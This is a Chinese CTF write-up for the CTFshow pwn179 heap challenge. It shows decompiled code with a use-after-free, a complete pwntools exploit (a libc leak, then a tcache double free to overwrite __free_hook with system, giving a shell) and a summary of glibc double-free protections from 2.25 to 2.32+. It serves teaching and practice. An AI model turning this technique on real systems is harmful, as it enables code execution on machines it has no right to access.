CTFshow-pwn179
[!NOTE]
Tcache dup
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn179
[*] '/home/niuyingying/ctf/pwn/pwn179'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
分析程序流程
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_98A();
sub_9CD();
while ( 1 )
{
puts("### USER ADMINISTRATION ###\n");
puts("0) Create user");
puts("1) Edit user name");
puts("2) Delete user");
puts("3) Send admin a message");
puts("4) exit");
printf("Enter your choice: ");
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 0:
Create("%d", (unsigned int)&v3);
break;
case 1:
Edit("%d", (unsigned int)&v3); // age & name
break;
case 2:
Delete("%d", (unsigned int)&v3);
break;
case 3:
Send("%d", (unsigned int)&v3); // buf
break;
case 4:
exit(0);
default:
puts("Wrong choice try again...");
break;
}
}
}
unsigned __int64 __fastcall Create(const char *a1)
{
char **v1; // rbx
char buf[40]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-18h]
v4 = __readfsqword(0x28u);
ptr = malloc(0x10u);
printf("Enter age of user: ");
__isoc99_scanf("%d", (char *)ptr + 8);
printf("Enter username: ");
read(0, buf, 0x1Fu);
v1 = (char **)ptr;
*v1 = strdup(buf);
return __readfsqword(0x28u) ^ v4;
}
ssize_t __fastcall Edit(const char *a1)
{
if ( !ptr )
sub_A95();
printf("Enter age of user: ");
__isoc99_scanf("%d", (char *)ptr + 8);
printf("Enter username: ");
return read(0, *(void **)ptr, 0x1Fu);
}
void __fastcall Delete(const char *a1)
{
if ( !ptr )
sub_A95(a1);
free(ptr); // UAF
}
unsigned __int64 __fastcall Send(const char *a1)
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Enter message to be sent: ");
read(0, buf, 0x7Fu);
puts("Message recieved: ");
puts(buf); // Show
puts("\nSaving it for admin to see!\n");
qword_202038 = (__int64)strdup(buf);
return __readfsqword(0x28u) ^ v3;
}
这里来介绍一下 strdup 函数,本质类似:
strlen(buf);
malloc(strlen(buf) + 1);
strcpy(new, buf);
同时它要求传进去的是一个以 \x00 结尾的 C 字符串
先用 Send(b"a" * 0x68) 触发 puts(buf) 泄露 libc,再利用 UAF 漏洞即可 get shell
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn179')
libc = ELF('./libc-2.27.so')
# io = process('./pwn179')
io = remote("pwn.challenge.ctf.show",28179)
# io = gdb.debug('./pwn179', gdbscript='set pagination off\nbreakrva 0xD66\nbreakrva 0xC41\nc')
def Create(i,text):
io.recvuntil(b"Enter your choice: ")
io.sendline(b"0")
io.recvuntil(b"Enter age of user: ")
io.sendline(b"0")
io.recvuntil(b"Enter username: ")
io.sendline(b"aaaa")
def Edit(i,text):
io.recvuntil(b"Enter your choice: ")
io.sendline(b"1")
io.recvuntil(b"Enter age of user: ")
io.sendline(str(i).encode())
io.recvuntil(b"Enter username: ")
io.send(text)
def Delete():
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2")
def Send(text):
io.recvuntil(b"Enter your choice: ")
io.sendline(b"3")
io.recvuntil(b"Enter message to be sent: \n")
io.send(text)
io.recvuntil(b"Message recieved: \n")
# pwndbg> stack 0x40
# 00:0000│ rsi rsp 0x7fffffffd6a0 ◂— 0x6161616161616161 ('aaaaaaaa')
# ... ↓ 11 skipped
# 0c:0060│-030 0x7fffffffd700 ◂— 0x2d61616161616161 ('aaaaaaa-')
# 0d:0068│-028 0x7fffffffd708 —▸ 0x7ffff7880b62 (puts+418) ◂— cmp eax, -1
payload = b"a" * 0x68
Send(payload)
io.recvuntil(payload)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - libc.sym["puts"] - 418
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
Create(0,b"aaaa")
Delete()
Delete()
Send(p64(free_hook))
Send(b"/bin/sh\x00")
Send(p64(system))
Delete()
io.interactive()
最后我们来整理一下不同版本 libc 的 tcache bin 和 fastbin 对于 UAF 的检查机制
- 第一阶段:tcache 出现之前 —— fastbin 独立工作
在 glibc 2.25 及以前,还没有 tcache,较小的 chunk 释放后会按照原来的 malloc 机制进入 fastbin 等 bin。此时 fastbin 已经存在一定的 double free 检查,但这个检查比较弱:释放 chunk 时主要检查它是否等于当前 fastbin 链表的头结点,因此连续执行 free(A); free(A); 会被检测;但是 free(A); free(B); free(A); 时,第二次释放 A 时链表头是 B,所以可以绕过这种“只看头结点”的检查,这也是经典 fastbin dup 的基础。这个阶段 tcache bin 尚不存在
- 第二阶段:glibc 2.26 ~ 2.28 —— tcache 出现,但 fastbin 基本没变
从 glibc 2.26 开始引入 tcache。对于满足 tcache 条件且对应 tcache bin 未满的 chunk,free() 时会优先进入 tcache,而不是 fastbin 。这一阶段 fastbin 自身的 double free 检查机制基本没有本质变化,仍然是类似“检查当前 fastbin 头结点”的方式,所以如果 chunk 真正进入 fastbin,仍然有 A A 被拦、A B A 可绕的特点
真正发生巨大变化的是 tcache bin:初代 tcache 为了追求性能,几乎没有专门的 double free 检查,因此:
free(A);
free(A);
这种连续 double free 都可能成功,从而出现非常简单的 tcache dup。因此 2.26~2.28 做堆题时,要特别先判断 chunk 到底进入了 tcache 还是 fastbin:进入 tcache 时防护明显比 fastbin 更弱
- 第三阶段:glibc 2.29 ~ 2.31 —— tcache 加强查重,fastbin 基本不变
从 glibc 2.29 开始,tcache 针对 double free 加入了新的检测机制。tcache entry 中增加了 key 一类的成员标记,chunk 被放入 tcache 时会写入标记;再次 free() 时,如果发现该标记表明 chunk 可能已经属于当前 tcache,就会进一步遍历对应的 tcache bin 链表,确认这个 chunk 是否真的已经存在。如果找到,就触发 double free 检测
因此这一时期:
free(A);
free(A);
和:
free(A);
free(B);
free(A);
这种简单方式通常都不能再直接完成 tcache dup
但是 fastbin 在这个阶段并没有因为 tcache 2.29 的改动而获得同样的“遍历整个 bin 查重”机制。如果 chunk 因为 tcache 已满等原因真正进入 fastbin,它仍然保留之前那套以链表头检查为核心的机制
- 第四阶段:glibc 2.32+ —— fastbin 和 tcache 都加入 Safe-Linking
从 glibc 2.32 开始,又增加了一层重要保护:Safe-Linking
这一次变化同时影响了 tcache 和 fastbin,因为二者都是单向链表,都依赖 next/fd 指针连接下一个空闲 chunk。
以前链表大致直接保存:
next = 下一块 chunk 地址
2.32+ 后会对这个指针进行类似:
encoded_next = next ^ (当前地址 >> 12)
的处理。
因此:
tcache:2.29 已有的 key + bin 遍历 double free 检查继续存在,同时 next 又受到 Safe-Linking 保护,所以简单修改 next 做 tcache poisoning 变得更困难
fastbin:原本的 double free 检查逻辑没有因为 Safe-Linking 直接变成“完整查重”,但是其 fd 单链表指针同样受到 Safe-Linking 保护,因此传统 fastbin dup / arbitrary allocation 中,伪造 fd 时也必须处理 Safe-Linking
同时要区分两个概念,2.29 主要增强的是 tcache 的 double free 检测;2.32 主要增强的是 fastbin 和 tcache 的链表指针保护
- 四阶段重点表
≤2.25:
fastbin:只查头,AA 不行,ABA 可绕
tcache :不存在
2.26~2.28:
fastbin:基本不变
tcache :出现,初代几乎不防 double free,AA 都能做
2.29~2.31:
fastbin:基本不变
tcache :加入 key + 遍历 bin,开始认真查 double free
2.32+:
fastbin:fd 加 Safe-Linking
tcache :保留 key + 遍历,同时 next 加 Safe-Linking
当然上一题的 glibc 2.27-3ubuntu1.6 相比原版 2.27/3ubuntu1 (参照本题)回补了更严格的 tcache double free 检查,所以如果运行时出现 free(): double free detected in tcache 2 ,通常说明当前 double free 路径进入了 tcache,并被这类检查拦下了,这时不要再直接走 tcache dup,应优先考虑先填满 tcache,再转 fastbin dup 等利用方式

浙公网安备 33010602011771号